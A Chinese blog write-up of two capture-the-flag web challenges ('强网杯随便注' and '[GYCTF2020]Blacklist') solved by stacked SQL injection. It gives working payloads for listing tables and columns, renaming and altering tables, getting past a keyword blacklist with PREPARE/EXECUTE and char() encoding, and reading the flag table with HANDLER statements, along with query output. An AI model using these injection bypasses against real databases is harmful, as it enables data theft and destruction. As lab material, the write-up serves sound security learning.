

[GYCTF2020]Blacklist && 强网杯随便注

原创

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本文链接：<https://blog.csdn.net/SopRomeo/article/details/105396372>

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强网杯随便注

先测试

```
near ''1'' at lir
```

字符型

```
1' or '1'='1
```

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}

array(2) {
  [0]=>
  string(6) "114514"
  [1]=>
  string(2) "ys"
}
```

<https://blog.csdn.net/SopRomeo>

```
return preg_match("/select|update|delete|drop|insert|where|\.\/i",$inject);
```

过滤了select

先看表，看列

堆叠注入

payload:

```
1';show tables;%23
```

```
array(1) {  
  [0]=>  
  string(16) "1919810931114514"  
}  
  
array(1) {  
  [0]=>  
  string(5) "words"  
}
```

<https://blog.csdn.net/SopRomeo>

```
1';show columns from `1919810931114514`; %23
```

```
[0]=>  
string(4) "flag"  
[1]=>  
string(12) "varchar(100)"  
[2]=>  
string(2) "NO"  
[3]=>  
string(0) ""  
[4]=>  
NULL  
[5]=>  
string(0) ""  
}
```

<https://blog.csdn.net/SopRomeo>

flag在这里

再看看另一个表

```
1';show columns from `words`; %23
```

可以发现这个表是可以回显内容的

```
array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(7) "int(10)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

array(6) {
  [0]=>
  string(4) "data"
  [1]=>
  string(11) "varchar(20)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}
```

<https://blog.csdn.net/SopRomeo>

我们可以用函数将1919810931114514表改成words表，来让他自动回显改名

```
RENAME TABLE `words` TO `words1`;
RENAME TABLE `1919810931114514` TO `words`;
```

将新words表的flag改为id避免开始无法查询

```
ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;
```

最后查看新words表

```
columns from words;
```

这是使用alert和rename函数

接下来还有

预处理语句使用方法

```
PREPARE name from '[my sql sequece]'; // 预定义SQL语句
EXECUTE name; // 执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; // 删除预定义SQL语句
```

```
SET @tn = 'hahaha'; // 存储表名
SET @sql = concat('select * from ', @tn); // 存储SQL语句
PREPARE name from @sql; // 预定义SQL语句
EXECUTE name; // 执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE sqla; // 删除预定义SQL语句
```

由于过滤了select

可以用chr()

最后payload:

```
1';PREPARE jwt from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE jwt;#
```

[GYCTF2020]Blacklist

由强网杯随便注改编而来

步骤类似

先测试

```
near ''1'' at lir
```

字符型注入

再输入

```
1' or '1'='1
```

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "mi aomi aomi ao"
}

array(2) {
  [0]=>
  string(6) "114514"
  [1]=>
  string(2) "ys"
}
```

<https://blog.csdn.net/SopRorneo>

联合注入

返回了过滤内容

```
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\.\/i",$inject);
```

堆叠注入

payload:

看表

```
1';show tables;#
```

```
string(1) "nananan"
```

```
array(1) {  
  [0]=>  
    string(8) "FlagHere"  
}
```

```
array(1) {  
  [0]=>  
    string(5) "words"  
}
```

看列

payload

```
1';show columns from `FlagHere`; %23
```

```
array(6) {  
  [0]=>  
    string(4) "flag"  
  [1]=>  
    string(12) "varchar(100)"  
  [2]=>  
    string(2) "NO"  
  [3]=>  
    string(0) ""  
  [4]=>  
    NULL  
  [5]=>  
    string(0) ""  
}
```

<https://blog.csdn.net/SopRomeo>

由于过滤了prepare和alert

我们可以用

HANDLER方法

官方文档

payload:

```
1';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;#
```